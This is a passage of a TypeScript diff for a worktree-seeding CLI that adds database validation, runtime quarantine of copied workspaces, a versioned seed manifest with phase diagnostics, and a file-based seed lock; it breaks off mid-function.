formatDatabaseBackupResult, goals, heartbeatRuns, @@ -37,6 +52,7 @@ import { issueComments, issueDocuments, issues, + instanceUserRoles, projectWorkspaces, projects, routines, @@ -44,8 +60,10 @@ import { runDatabaseBackup, runDatabaseRestore, resetPostgresDatabase, + workspaceRuntimeServices, createEmbeddedPostgresLogBuffer, formatEmbeddedPostgresError, + loadWithoutEmbeddedPostgresExitHooks, prepareEmbeddedPostgresNativeRuntime, } from "@paperclipai/db"; import type { Command } from "commander"; @@ -62,12 +80,16 @@ import { formatShellExports, generateWorktreeColor, isWorktreeSeedMode, + WORKTREE_SEED_PHASES, resolveSuggestedWorktreeName, resolveWorktreeSeedPlan, + resolveWorktreeSeedMarkerPaths, resolveWorktreeLocalPaths, sanitizeWorktreeInstanceId, type WorktreeSeedPlan, + type WorktreeSeedManifest, type WorktreeSeedMode, + type WorktreeSeedPhase, type WorktreeLocalPaths, } from "./worktree-lib.js"; import { @@ -133,6 +155,7 @@ type WorktreeReseedOptions = { preserveLiveWork?: boolean; yes?: boolean; allowLiveTarget?: boolean; + backupTarget?: boolean; }; type WorktreeRepairOptions = { @@ -147,6 +170,17 @@ type WorktreeRepairOptions = { allowLiveTarget?: boolean; }; +type WorktreeEnsureSeededOptions = { + config?: string; + fromConfig?: string; + fromDataDir?: string; + fromInstance?: string; + preserveLiveWork?: boolean; + registeredBaseWorkspaceCwd?: string; + registeredProjectWorkspaceId?: string; + expectedCompanyId?: string; +}; + type EmbeddedPostgresInstance = { initialise(): Promise; start(): Promise; @@ -185,6 +219,8 @@ type CopiedGitHooksResult = { type SeedWorktreeDatabaseResult = { backupSummary: string; + snapshotAt: string; + migrationRevision: string; pausedScheduledRoutines: number; executionQuarantine: SeededWorktreeExecutionQuarantineSummary; reboundWorkspaces: Array<{ @@ -192,6 +228,36 @@ type SeedWorktreeDatabaseResult = { fromCwd: string; toCwd: string; }>; + validation: WorktreeSeedValidationSummary; +}; + +export type WorktreeSeedValidationSummary = { + authUserCount: number; + credentialAccountCount: number; + instanceAdminCount: number; + activeMembershipCount: number; + companyCount: number; + issueCount: number; + representativeCompanyId: string; + representativeIssueId: string; + migrationRevision: string; +}; + +type SeedWorktreeDatabase = typeof seedWorktreeDatabase; + +export type EnsureWorktreeSeededResult = { + seeded: boolean; + reason: + | "seeded" + | "verified_manifest" + | "complete_marker" + | "legacy_unmarked" + | "legacy_database"; + details?: SeedWorktreeDatabaseResult; +}; + +export type LegacyWorktreeDatabaseEvidence = { + migrationRevision: string; }; export type SeededWorktreeExecutionQuarantineSummary = { @@ -200,6 +266,9 @@ export type SeededWorktreeExecutionQuarantineSummary = { quarantinedInProgressIssues: number; unassignedTodoIssues: number; unassignedReviewIssues: number; + stoppedProjectWorkspaceRuntimes: number; + stoppedExecutionWorkspaceRuntimes: number; + stoppedRuntimeServices: number; }; function nonEmpty(value: string | null | undefined): string | null { @@ -223,6 +292,9 @@ function formatSeededWorktreeExecutionQuarantineSummary( `quarantined in-progress issues: ${summary.quarantinedInProgressIssues}`, `unassigned todo issues: ${summary.unassignedTodoIssues}`, `unassigned review issues: ${summary.unassignedReviewIssues}`, + `stopped project workspace runtimes: ${summary.stoppedProjectWorkspaceRuntimes}`, + `stopped execution workspace runtimes: ${summary.stoppedExecutionWorkspaceRuntimes}`, + `stopped runtime services: ${summary.stoppedRuntimeServices}`, ].join(", "); } @@ -529,13 +601,24 @@ function resolveRepoManagedWorktreesRoot(cwd: string): string | null { return path.resolve(repoRoot, ".paperclip", "worktrees"); } -function collectClaimedWorktreePorts(homeDir: string, currentInstanceId: string, cwd: string): { +function collectClaimedWorktreePorts( + homeDir: string, + currentInstanceId: string, + cwd: string, + registeredConfigPaths: Iterable = [], +): { serverPorts: Set; databasePorts: Set; } { const serverPorts = new Set(); const databasePorts = new Set(); const configPaths = new Set(); + for (const configPath of registeredConfigPaths) { + const resolvedConfigPath = path.resolve(configPath); + if (resolvedConfigPath !== path.resolve(cwd, ".paperclip", "config.json") && existsSync(resolvedConfigPath)) { + configPaths.add(resolvedConfigPath); + } + } const instancesDir = path.resolve(homeDir, "instances"); if (existsSync(instancesDir)) { for (const entry of readdirSync(instancesDir, { withFileTypes: true })) { @@ -565,8 +648,13 @@ function collectClaimedWorktreePorts(homeDir: string, currentInstanceId: string, if (config?.server.port) { serverPorts.add(config.server.port); } - if (config?.database.mode === "embedded-postgres") { - databasePorts.add(config.database.embeddedPostgresPort); + const databasePort = config?.database.embeddedPostgresPort; + if ( + typeof databasePort === "number" && + Number.isInteger(databasePort) && + databasePort > 0 + ) { + databasePorts.add(databasePort); } } catch { // Ignore malformed sibling configs. @@ -1051,11 +1139,15 @@ export function copySeededSecretsKey(input: { } } -async function ensureEmbeddedPostgres(dataDir: string, preferredPort: number): Promise { +export async function ensureEmbeddedPostgres( + dataDir: string, + preferredPort: number, + options: { allowExisting?: boolean } = {}, +): Promise { const moduleName = "embedded-postgres"; let EmbeddedPostgres: EmbeddedPostgresCtor; try { - const mod = await import(moduleName); + const mod = await loadWithoutEmbeddedPostgresExitHooks(() => import(moduleName)); EmbeddedPostgres = mod.default as EmbeddedPostgresCtor; } catch { throw new Error( @@ -1067,6 +1159,12 @@ async function ensureEmbeddedPostgres(dataDir: string, preferredPort: number): P const postmasterPidFile = path.resolve(dataDir, "postmaster.pid"); const runningPid = readRunningPostmasterPid(postmasterPidFile); if (runningPid) { + if (options.allowExisting === false) { + throw new Error( + `Cannot seed target embedded PostgreSQL at ${dataDir} while it is already running (pid=${runningPid}). ` + + "Stop the worktree service that owns this database, then retry the seed.", + ); + } return { port: readPidFilePort(postmasterPidFile) ?? preferredPort, startedByThisProcess: false, @@ -1154,6 +1252,9 @@ const EMPTY_SEEDED_WORKTREE_EXECUTION_QUARANTINE_SUMMARY: SeededWorktreeExecutio quarantinedInProgressIssues: 0, unassignedTodoIssues: 0, unassignedReviewIssues: 0, + stoppedProjectWorkspaceRuntimes: 0, + stoppedExecutionWorkspaceRuntimes: 0, + stoppedRuntimeServices: 0, }; function isRecord(value: unknown): value is Record { @@ -1185,6 +1286,36 @@ function normalizeWorktreeRuntimeConfig(runtimeConfig: unknown): { return { runtimeConfig: nextRuntimeConfig, disabledTimerHeartbeat: false, changed: false }; } +function stopSeededWorkspaceRuntime( + metadata: unknown, + configKey: "config" | "runtimeConfig", +): { metadata: Record; changed: boolean } { + const nextMetadata = isRecord(metadata) ? { ...metadata } : {}; + const currentConfig = isRecord(nextMetadata[configKey]) + ? { ...(nextMetadata[configKey] as Record) } + : null; + if (!currentConfig) return { metadata: nextMetadata, changed: false }; + + let changed = false; + if (currentConfig.desiredState === "running") { + currentConfig.desiredState = "stopped"; + changed = true; + } + + if (isRecord(currentConfig.serviceStates)) { + const nextServiceStates = { ...currentConfig.serviceStates }; + for (const [serviceIndex, state] of Object.entries(nextServiceStates)) { + if (state !== "running") continue; + nextServiceStates[serviceIndex] = "stopped"; + changed = true; + } + if (changed) currentConfig.serviceStates = nextServiceStates; + } + + if (changed) nextMetadata[configKey] = currentConfig; + return { metadata: nextMetadata, changed }; +} + export async function quarantineSeededWorktreeExecutionState( connectionString: string, ): Promise { @@ -1267,6 +1398,50 @@ export async function quarantineSeededWorktreeExecutionState( summary.unassignedReviewIssues += 1; } } + + const seededProjectWorkspaces = await tx + .select({ id: projectWorkspaces.id, metadata: projectWorkspaces.metadata }) + .from(projectWorkspaces); + for (const workspace of seededProjectWorkspaces) { + const stopped = stopSeededWorkspaceRuntime(workspace.metadata, "runtimeConfig"); + if (!stopped.changed) continue; + await tx + .update(projectWorkspaces) + .set({ metadata: stopped.metadata, updatedAt: new Date() }) + .where(eq(projectWorkspaces.id, workspace.id)); + summary.stoppedProjectWorkspaceRuntimes += 1; + } + + const seededExecutionWorkspaces = await tx + .select({ id: executionWorkspaces.id, metadata: executionWorkspaces.metadata }) + .from(executionWorkspaces); + for (const workspace of seededExecutionWorkspaces) { + const stopped = stopSeededWorkspaceRuntime(workspace.metadata, "config"); + if (!stopped.changed) continue; + await tx + .update(executionWorkspaces) + .set({ metadata: stopped.metadata, updatedAt: new Date() }) + .where(eq(executionWorkspaces.id, workspace.id)); + summary.stoppedExecutionWorkspaceRuntimes += 1; + } + + const now = new Date(); + const stoppedRuntimeServices = await tx + .update(workspaceRuntimeServices) + .set({ + status: "stopped", + healthStatus: "unknown", + providerRef: null, + ownerAgentId: null, + startedByRunId: null, + port: null, + url: null, + stoppedAt: now, + lastUsedAt: now, + updatedAt: now, + }) + .returning({ id: workspaceRuntimeServices.id }); + summary.stoppedRuntimeServices = stoppedRuntimeServices.length; }); return summary; @@ -1275,6 +1450,233 @@ export async function quarantineSeededWorktreeExecutionState( } } +type WorktreeSeedValidationExpectation = { + adminUserId: string; + representativeCompanyId: string; + representativeIssueId: string; +}; + +export function requiresWorktreeSeedCredentialAccount( + deploymentMode: PaperclipConfig["server"]["deploymentMode"], +): boolean { + return deploymentMode === "authenticated"; +} + +export function resolveWorktreeSeedMigrationRevision( + migrationState: Awaited>, + requirement: "sourcePrefix" | "upToDate", +): string { + const expectedAppliedPrefix = migrationState.availableMigrations.slice( + 0, + migrationState.appliedMigrations.length, + ); + const appliedMigrationNames = new Set(migrationState.appliedMigrations); + if ( + appliedMigrationNames.size !== expectedAppliedPrefix.length || + expectedAppliedPrefix.some((migration) => !appliedMigrationNames.has(migration)) + ) { + throw new Error("Migration journal is not a prefix of this Paperclip checkout's migration journal."); + } + + if (requirement === "upToDate" && migrationState.status !== "upToDate") { + throw new Error( + `Migration journal is not current (${migrationState.pendingMigrations.length} pending migration(s)).`, + ); + } + + const migrationRevision = expectedAppliedPrefix.at(-1); + if (!migrationRevision) { + throw new Error("Migration journal has no applied revision."); + } + return migrationRevision; +} + +/** + * Markerless worktrees predate the versioned seed manifest. Adopt one only + * after proving that its configured database already has a compatible + * migration journal and the core Paperclip tables. The physical PG_VERSION + * check prevents this read-only probe from initializing a missing embedded + * database and then mistaking that empty cluster for legacy evidence. + */ +export async function inspectLegacyWorktreeDatabase( + configPath: string, +): Promise { + const config = readConfig(configPath); + if (!config) return null; + + const envEntries = readPaperclipEnvEntries(resolvePaperclipEnvFile(configPath)); + let embeddedHandle: EmbeddedPostgresHandle | null = null; + let db: ReturnType | null = null; + try { + if (config.database.mode === "embedded-postgres") { + const dataDir = resolveRuntimeLikePath(config.database.embeddedPostgresDataDir, configPath); + if (!existsSync(path.join(dataDir, "PG_VERSION"))) return null; + embeddedHandle = await ensureEmbeddedPostgres(dataDir, config.database.embeddedPostgresPort); + } + + const connectionString = resolveSourceConnectionString(config, envEntries, embeddedHandle?.port); + const migrationRevision = resolveWorktreeSeedMigrationRevision( + await inspectMigrations(connectionString), + "sourcePrefix", + ); + db = createDb(connectionString); + await Promise.all([ + db.select({ id: authUsers.id }).from(authUsers).limit(1), + db.select({ id: companies.id }).from(companies).limit(1), + db.select({ id: issues.id }).from(issues).limit(1), + ]); + return { migrationRevision }; + } catch { + return null; + } finally { + await db?.$client?.end?.({ timeout: 5 }).catch(() => undefined); + if (embeddedHandle?.startedByThisProcess) { + await embeddedHandle.stop().catch(() => undefined); + } + } +} + +async function inspectVerifiedSeedDatabase( + connectionString: string, + options: { + deploymentMode: PaperclipConfig["server"]["deploymentMode"]; + expected?: WorktreeSeedValidationExpectation; + migrationRequirement?: "sourcePrefix" | "upToDate"; + requiredCompanyId?: string; + }, +): Promise<{ summary: WorktreeSeedValidationSummary; expectation: WorktreeSeedValidationExpectation }> { + const { + deploymentMode, + expected, + migrationRequirement = "upToDate", + requiredCompanyId, + } = options; + const requiresCredentialAccount = requiresWorktreeSeedCredentialAccount(deploymentMode); + const migrationState = await inspectMigrations(connectionString); + const migrationRevision = resolveWorktreeSeedMigrationRevision( + migrationState, + migrationRequirement, + ); + + const db = createDb(connectionString); + try { + const [counts] = await db + .select({ + authUserCount: sql`count(distinct ${authUsers.id})::int`, + credentialAccountCount: sql`count(distinct ${authAccounts.id})::int`, + instanceAdminCount: sql`count(distinct ${instanceUserRoles.userId})::int`, + activeMembershipCount: sql`count(distinct ${companyMemberships.id})::int`, + companyCount: sql`count(distinct ${companies.id})::int`, + issueCount: sql`count(distinct ${issues.id})::int`, + }) + .from(authUsers) + .leftJoin(authAccounts, eq(authAccounts.userId, authUsers.id)) + .leftJoin( + instanceUserRoles, + and(eq(instanceUserRoles.userId, authUsers.id), eq(instanceUserRoles.role, "instance_admin")), + ) + .leftJoin( + companyMemberships, + and( + eq(companyMemberships.principalType, "user"), + eq(companyMemberships.principalId, authUsers.id), + eq(companyMemberships.status, "active"), + ), + ) + .leftJoin(companies, eq(companies.id, companyMemberships.companyId)) + .leftJoin(issues, eq(issues.companyId, companies.id)); + + const admin = await db + .select({ userId: authUsers.id }) + .from(authUsers) + .innerJoin( + instanceUserRoles, + and(eq(instanceUserRoles.userId, authUsers.id), eq(instanceUserRoles.role, "instance_admin")), + ) + .leftJoin( + authAccounts, + eq(authAccounts.userId, authUsers.id), + ) + .innerJoin( + companyMemberships, + and( + eq(companyMemberships.principalType, "user"), + eq(companyMemberships.principalId, authUsers.id), + eq(companyMemberships.status, "active"), + ), + ) + .where(and( + expected ? eq(authUsers.id, expected.adminUserId) : undefined, + requiredCompanyId ? eq(companyMemberships.companyId, requiredCompanyId) : undefined, + requiresCredentialAccount + ? and( + sql`length(trim(${authAccounts.providerId})) > 0`, + sql`length(trim(${authAccounts.accountId})) > 0`, + ) + : undefined, + )) + .limit(1) + .then((rows) => rows[0] ?? null); + if (!admin) { + throw new Error( + requiresCredentialAccount + ? "No auth user has a non-empty credential account, instance-admin role, and active company membership. Authenticated worktree seeding requires a credential-backed instance administrator." + : "No auth user has an instance-admin role and active company membership for local-trusted worktree seeding.", + ); + } + + const representative = await db + .select({ companyId: companies.id, issueId: issues.id }) + .from(companies) + .innerJoin(issues, eq(issues.companyId, companies.id)) + .where( + and( + expected ? eq(companies.id, expected.representativeCompanyId) : undefined, + expected ? eq(issues.id, expected.representativeIssueId) : undefined, + requiredCompanyId ? eq(companies.id, requiredCompanyId) : undefined, + ), + ) + .limit(1) + .then((rows) => rows[0] ?? null); + if (!representative) { + throw new Error("No representative cloned company and issue pair is readable."); + } + + const summary: WorktreeSeedValidationSummary = { + authUserCount: counts?.authUserCount ?? 0, + credentialAccountCount: counts?.credentialAccountCount ?? 0, + instanceAdminCount: counts?.instanceAdminCount ?? 0, + activeMembershipCount: counts?.activeMembershipCount ?? 0, + companyCount: counts?.companyCount ?? 0, + issueCount: counts?.issueCount ?? 0, + representativeCompanyId: representative.companyId, + representativeIssueId: representative.issueId, + migrationRevision, + }; + if ( + summary.authUserCount < 1 + || (requiresCredentialAccount && summary.credentialAccountCount < 1) + || summary.instanceAdminCount < 1 + || summary.activeMembershipCount < 1 + || summary.companyCount < 1 + || summary.issueCount < 1 + ) { + throw new Error("Seed validation found an incomplete auth, membership, company, or issue shape."); + } + + return { + summary, + expectation: { + adminUserId: admin.userId, + representativeCompanyId: representative.companyId, + representativeIssueId: representative.issueId, + }, + }; + } finally { + await db.$client?.end?.({ timeout: 5 }).catch(() => undefined); + } +} + async function seedWorktreeDatabase(input: { sourceConfigPath: string; sourceConfig: PaperclipConfig; @@ -1283,16 +1685,12 @@ async function seedWorktreeDatabase(input: { instanceId: string; seedMode: WorktreeSeedMode; preserveLiveWork?: boolean; + expectedCompanyId?: string; + onPhase?: (phase: WorktreeSeedPhase, status: "started" | "succeeded", message?: string) => void; }): Promise { const seedPlan = resolveWorktreeSeedPlan(input.seedMode); const sourceEnvFile = resolvePaperclipEnvFile(input.sourceConfigPath); const sourceEnvEntries = readPaperclipEnvEntries(sourceEnvFile); - copySeededSecretsKey({ - sourceConfigPath: input.sourceConfigPath, - sourceConfig: input.sourceConfig, - sourceEnvEntries, - targetKeyFilePath: input.targetPaths.secretsKeyFilePath, - }); let sourceHandle: EmbeddedPostgresHandle | null = null; let targetHandle: EmbeddedPostgresHandle | null = null; @@ -1310,6 +1708,29 @@ async function seedWorktreeDatabase(input: { sourceEnvEntries, sourceHandle?.port, ); + input.onPhase?.("source_validation", "started"); + const sourceValidation = await inspectVerifiedSeedDatabase( + sourceConnectionString, + { + deploymentMode: input.sourceConfig.server.deploymentMode, + migrationRequirement: "sourcePrefix", + requiredCompanyId: input.expectedCompanyId, + }, + ); + input.onPhase?.( + "source_validation", + "succeeded", + `Validated migration ${sourceValidation.summary.migrationRevision}, ${sourceValidation.summary.companyCount} company record(s), and ${sourceValidation.summary.issueCount} issue record(s).`, + ); + copySeededSecretsKey({ + sourceConfigPath: input.sourceConfigPath, + sourceConfig: input.sourceConfig, + sourceEnvEntries, + targetKeyFilePath: input.targetPaths.secretsKeyFilePath, + }); + + const snapshotAt = new Date().toISOString(); + input.onPhase?.("snapshot", "started"); const backup = await runDatabaseBackup({ connectionString: sourceConnectionString, backupDir: path.resolve(input.targetPaths.backupDir, "seed"), @@ -1320,10 +1741,13 @@ async function seedWorktreeDatabase(input: { excludeTables: seedPlan.excludedTables, nullifyColumns: seedPlan.nullifyColumns, }); + input.onPhase?.("snapshot", "succeeded", `Created ${path.basename(backup.backupFile)}.`); + input.onPhase?.("restore", "started"); targetHandle = await ensureEmbeddedPostgres( input.targetConfig.database.embeddedPostgresDataDir, input.targetConfig.database.embeddedPostgresPort, + { allowExisting: false }, ); const adminConnectionString = `postgres://paperclip:paperclip@127.0.0.1:${targetHandle.port}/postgres`; @@ -1333,21 +1757,52 @@ async function seedWorktreeDatabase(input: { connectionString: targetConnectionString, backupFile: backup.backupFile, }); + input.onPhase?.("restore", "succeeded"); + input.onPhase?.("migrations", "started"); await applyPendingMigrations(targetConnectionString); + input.onPhase?.("migrations", "succeeded"); + input.onPhase?.("execution_quarantine", "started"); const executionQuarantine = input.preserveLiveWork ? { ...EMPTY_SEEDED_WORKTREE_EXECUTION_QUARANTINE_SUMMARY } : await quarantineSeededWorktreeExecutionState(targetConnectionString); + input.onPhase?.( + "execution_quarantine", + "succeeded", + input.preserveLiveWork + ? "Preserved copied live work by explicit request." + : formatSeededWorktreeExecutionQuarantineSummary(executionQuarantine), + ); + input.onPhase?.("routine_pause", "started"); const pausedScheduledRoutines = await pauseSeededScheduledRoutines(targetConnectionString); + input.onPhase?.("routine_pause", "succeeded", `Paused ${pausedScheduledRoutines} scheduled routine(s).`); + input.onPhase?.("workspace_rebind", "started"); const reboundWorkspaces = await rebindSeededProjectWorkspaces({ targetConnectionString, currentCwd: input.targetPaths.cwd, }); + input.onPhase?.("workspace_rebind", "succeeded", `Rebound ${reboundWorkspaces.length} workspace path(s).`); + input.onPhase?.("post_restore_validation", "started"); + const targetValidation = await inspectVerifiedSeedDatabase( + targetConnectionString, + { + deploymentMode: input.targetConfig.server.deploymentMode, + expected: sourceValidation.expectation, + }, + ); + input.onPhase?.( + "post_restore_validation", + "succeeded", + `Validated migration ${targetValidation.summary.migrationRevision}.`, + ); return { backupSummary: formatDatabaseBackupResult(backup), + snapshotAt, + migrationRevision: targetValidation.summary.migrationRevision, pausedScheduledRoutines, executionQuarantine, reboundWorkspaces, + validation: targetValidation.summary, }; } finally { if (targetHandle?.startedByThisProcess) { @@ -1359,6 +1814,622 @@ async function seedWorktreeDatabase(input: { } } +const WORKTREE_SEED_DIAGNOSTIC_LIMIT = 32; +const WORKTREE_SEED_DIAGNOSTIC_MESSAGE_LIMIT = 512; +const activeSeedInterruptHandlers = new Map void>(); + +export function formatWorktreeSeedFailureDiagnostic( + phase: WorktreeSeedPhase, + error: unknown, +): string { + const message = error instanceof Error ? error.message : String(error ?? ""); + if ( + phase === "restore" + && /database system is shutting down|terminating connection due to administrator command/i.test(message) + ) { + return "Target embedded PostgreSQL shut down during restore. Stop any competing worktree service and retry the seed."; + } + if (phase === "restore" && /Cannot seed target embedded PostgreSQL.+already running/i.test(message)) { + return "Target embedded PostgreSQL is owned by a running worktree service. Stop that service and retry the seed."; + } + if ( + /No auth user has a non-empty credential account, instance-admin role, and active company membership/i.test( + message, + ) + ) { + return "Seed validation could not find a credential-backed instance administrator with an active company membership. Authenticated instances must create or sign in an administrator before seeding."; + } + return `Seed failed during ${phase}.`; +} + +function dispatchSeedInterruption(signal: NodeJS.Signals): void { + for (const handler of activeSeedInterruptHandlers.values()) { + try { + handler(signal); + } catch { + // Continue terminalizing the other active manifests before exiting. + } + } + process.exit(signal === "SIGINT" ? 130 : 143); +} + +const dispatchSeedSigint = () => dispatchSeedInterruption("SIGINT"); +const dispatchSeedSigterm = () => dispatchSeedInterruption("SIGTERM"); + +function registerSeedInterruptHandler(handler: (signal: NodeJS.Signals) => void): () => void { + const id = randomUUID(); + if (activeSeedInterruptHandlers.size === 0) { + process.once("SIGINT", dispatchSeedSigint); + process.once("SIGTERM", dispatchSeedSigterm); + } + activeSeedInterruptHandlers.set(id, handler); + return () => { + activeSeedInterruptHandlers.delete(id); + if (activeSeedInterruptHandlers.size === 0) { + process.off("SIGINT", dispatchSeedSigint); + process.off("SIGTERM", dispatchSeedSigterm); + } + }; +} + +type LegacyWorktreeSeedPendingMarker = { + version: 1; + state: "pending"; + sourceConfigPath: string; +}; + +function resolveSeedInstanceId(configPath: string): string { + const envEntries = readPaperclipEnvEntries(resolvePaperclipEnvFile(configPath)); + return nonEmpty(envEntries.PAPERCLIP_INSTANCE_ID) + ?? sanitizeWorktreeInstanceId(path.basename(path.dirname(path.resolve(configPath)))); +} + +function writeWorktreeSeedManifest(filePath: string, manifest: WorktreeSeedManifest): void { + mkdirSync(path.dirname(filePath), { recursive: true }); + const temporaryPath = `${filePath}.${process.pid}.${randomUUID()}.tmp`; + writeFileSync(temporaryPath, `${JSON.stringify(manifest, null, 2)}\n`, { mode: 0o600 }); + renameSync(temporaryPath, filePath); +} + +export function readWorktreeSeedManifest(configPath: string): WorktreeSeedManifest | null { + const manifestPath = resolveWorktreeSeedMarkerPaths(configPath).manifest; + if (!existsSync(manifestPath)) return null; + let parsed: unknown; + try { + parsed = JSON.parse(readFileSync(manifestPath, "utf8")); + } catch (error) { + throw new Error( + `Invalid worktree seed manifest at ${manifestPath}: ${error instanceof Error ? error.message : String(error)}`, + ); + } + const value = parsed as Partial; + const diagnosticsValid = Array.isArray(value.diagnostics) && value.diagnostics.every((diagnostic) => ( + diagnostic + && typeof diagnostic === "object" + && WORKTREE_SEED_PHASES.includes(diagnostic.phase) + && ["started", "succeeded", "failed"].includes(diagnostic.status) + && typeof diagnostic.at === "string" + && (diagnostic.message === undefined || typeof diagnostic.message === "string") + )); + const verifiedTerminalValid = value.state !== "verified" || ( + value.phase === "complete" + && typeof value.snapshotAt === "string" + && value.snapshotAt.length > 0 + && typeof value.migrationRevision === "string" + && value.migrationRevision.length > 0 + && typeof value.startedAt === "string" + && typeof value.finishedAt === "string" + && value.diagnostics?.some((diagnostic) => ( + diagnostic.phase === "complete" && diagnostic.status === "succeeded" + )) === true + ); + if ( + !value + || typeof value !== "object" + || value.version !== 2 + || !value.source + || typeof value.source.instanceId !== "string" + || typeof value.source.configPath !== "string" + || typeof value.targetInstanceId !== "string" + || value.targetInstanceId.length === 0 + || !isWorktreeSeedMode(String(value.seedMode ?? "")) + || !WORKTREE_SEED_PHASES.includes(value.phase as WorktreeSeedPhase) + || !["pending", "running", "verified", "failed"].includes(String(value.state ?? "")) + || typeof value.attemptId !== "string" + || value.attemptId.length === 0 + || !diagnosticsValid + || !verifiedTerminalValid + ) { + throw new Error(`Invalid worktree seed manifest at ${manifestPath}.`); + } + return value as WorktreeSeedManifest; +} + +export function markWorktreeSeedPending(input: { + configPath: string; + sourceConfigPath: string; + targetInstanceId?: string; + seedMode?: WorktreeSeedMode; + now?: Date; + diagnosticMessage?: string; +}): void { + const markers = resolveWorktreeSeedMarkerPaths(input.configPath); + const at = (input.now ?? new Date()).toISOString(); + writeWorktreeSeedManifest(markers.manifest, { + version: 2, + source: { + instanceId: resolveSeedInstanceId(input.sourceConfigPath), + configPath: path.resolve(input.sourceConfigPath), + }, + snapshotAt: null, + seedMode: input.seedMode ?? "minimal", + migrationRevision: null, + targetInstanceId: input.targetInstanceId ?? resolveSeedInstanceId(input.configPath), + phase: "pending", + state: "pending", + attemptId: randomUUID(), + startedAt: null, + finishedAt: null, + diagnostics: [{ + phase: "pending", + status: "succeeded", + at, + ...(input.diagnosticMessage + ? { message: input.diagnosticMessage.slice(0, WORKTREE_SEED_DIAGNOSTIC_MESSAGE_LIMIT) } + : {}), + }], + }); + // New manifests are authoritative. Legacy files are removed so no caller can + // mistake a stale binary marker for current verified seed state. + rmSync(markers.complete, { force: true }); + rmSync(markers.pending, { force: true }); +} + +function updateWorktreeSeedManifest(input: { + configPath: string; + phase: WorktreeSeedPhase; + status: "started" | "succeeded" | "failed"; + state?: WorktreeSeedManifest["state"]; + message?: string; + snapshotAt?: string | null; + migrationRevision?: string | null; + now?: Date; +}): WorktreeSeedManifest { + const markers = resolveWorktreeSeedMarkerPaths(input.configPath); + const current = readWorktreeSeedManifest(input.configPath); + if (!current) throw new Error(`Worktree seed manifest does not exist at ${markers.manifest}.`); + const at = (input.now ?? new Date()).toISOString(); + const nextState = input.state ?? current.state; + const diagnostic = { + phase: input.phase, + status: input.status, + at, + ...(input.message + ? { message: input.message.slice(0, WORKTREE_SEED_DIAGNOSTIC_MESSAGE_LIMIT) } + : {}), + }; + const next: WorktreeSeedManifest = { + ...current, + phase: input.phase, + state: nextState, + snapshotAt: input.snapshotAt === undefined ? current.snapshotAt : input.snapshotAt, + migrationRevision: + input.migrationRevision === undefined ? current.migrationRevision : input.migrationRevision, + startedAt: current.startedAt ?? (input.status === "started" ? at : null), + finishedAt: nextState === "verified" || nextState === "failed" ? at : null, + diagnostics: [...current.diagnostics, diagnostic].slice(-WORKTREE_SEED_DIAGNOSTIC_LIMIT), + }; + writeWorktreeSeedManifest(markers.manifest, next); + return next; +} + +function readLegacyWorktreeSeedPendingMarker(filePath: string): LegacyWorktreeSeedPendingMarker { + let parsed: unknown; + try { + parsed = JSON.parse(readFileSync(filePath, "utf8")); + } catch (error) { + throw new Error( + `Invalid worktree seed-pending marker at ${filePath}: ${error instanceof Error ? error.message : String(error)}`, + ); + } + + if ( + !parsed + || typeof parsed !== "object" + || (parsed as { version?: unknown }).version !== 1 + || (parsed as { state?: unknown }).state !== "pending" + || typeof (parsed as { sourceConfigPath?: unknown }).sourceConfigPath !== "string" + || !(parsed as { sourceConfigPath: string }).sourceConfigPath.trim() + ) { + throw new Error(`Invalid worktree seed-pending marker at ${filePath}.`); + } + + return parsed as LegacyWorktreeSeedPendingMarker; +} + +const WORKTREE_SEED_LOCK_POLL_MS = 50; +const WORKTREE_SEED_LOCK_MALFORMED_STALE_MS = 60_000; + +type WorktreeSeedLockOwner = { + version: 1; + pid: number; + token: string; + createdAt: string; +}; + +function processIsAlive(pid: number): boolean { + try { + process.kill(pid, 0); + return true; + } catch (error) { + return (error as NodeJS.ErrnoException).code === "EPERM"; + } +} + +function parseWorktreeSeedLockOwner(raw: string): WorktreeSeedLockOwner | null { + try { + const value = JSON.parse(raw) as Partial; + if ( + value.version !== 1 + || !Number.isInteger(value.pid) + || (value.pid ?? 0) <= 0 + || typeof value.token !== "string" + || !value.token + || typeof value.createdAt !== "string" + || !value.createdAt + ) { + return null; + } + return value as WorktreeSeedLockOwner; + } catch { + return null; + } +} + +async function acquireWorktreeSeedLock(lockPath: string): Promise<() => Promise> { + while (true) { + const owner: WorktreeSeedLockOwner = { + version: 1, + pid: process.pid, + token: randomUUID(), + createdAt: new Date().toISOString(), + }; + try { + const handle = await fsPromises.open(lockPath, "wx", 0o600); + try { + await handle.writeFile(`${JSON.stringify(owner)}\n`, "utf8"); + } catch (error) { + await handle.close(); + await fsPromises.rm(lockPath, { force: true }); + throw error; + } + await handle.close(); + return async () => { + const current = await fsPromises.readFile(lockPath, "utf8").catch(() => null); + if (current && parseWorktreeSeedLockOwner(current)?.token === owner.token) { + await fsPromises.rm(lockPath, { force: true }); + } + }; + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "EEXIST") throw error; + } + + const [rawOwner, lockStat] = await Promise.all([ + fsPromises.readFile(lockPath, "utf8").catch(() => null), + fsPromises.stat(lockPath).catch(() => null), + ]); + const currentOwner = rawOwner ? parseWorktreeSeedLockOwner(rawOwner) : null; + const malformedLockIsStale = Boolean( + lockStat && Date.now() - lockStat.mtimeMs >= WORKTREE_SEED_LOCK_MALFORMED_STALE_MS, + ); + if (currentOwner && !processIsAlive(currentOwner.pid)) { + throw new Error( + `Worktree seed lock ${lockPath} belongs to exited process ${currentOwner.pid}. ` + + "Verify that no seed is running, then remove the stale lock and retry.", + ); + } + if (!currentOwner && malformedLockIsStale) { + throw new Error( + `Worktree seed lock ${lockPath} is stale or malformed. ` + + "Verify that no seed is running, then remove the stale lock and retry.", + ); + } + await new Promise((resolve) => setTimeout(resolve, WORKTREE_SEED_LOCK_POLL_MS)); + } +} + +function startWorktreeSeedAttempt(configPath: string, now = new Date()): WorktreeSeedManifest { + const markers = resolveWorktreeSeedMarkerPaths(configPath); + const current = readWorktreeSeedManifest(configPath); + if (!current) throw new Error(`Worktree seed manifest does not exist at ${markers.manifest}.`); + const at = now.toISOString(); + const next: WorktreeSeedManifest = { + ...current, + state: "running", + phase: "pending", + attemptId: randomUUID(), + snapshotAt: null, + migrationRevision: null, + startedAt: at, + finishedAt: null, + diagnostics: [ + ...current.diagnostics, + { phase: "pending" as const, status: "started" as const, at }, + ].slice(-WORKTREE_SEED_DIAGNOSTIC_LIMIT), + }; + writeWorktreeSeedManifest(markers.manifest, next); + return next; +} + +async function runVerifiedWorktreeSeed(input: { + configPath: string; + sourceConfigPath: string; + sourceConfig: PaperclipConfig; + targetConfig: PaperclipConfig; + targetPaths: 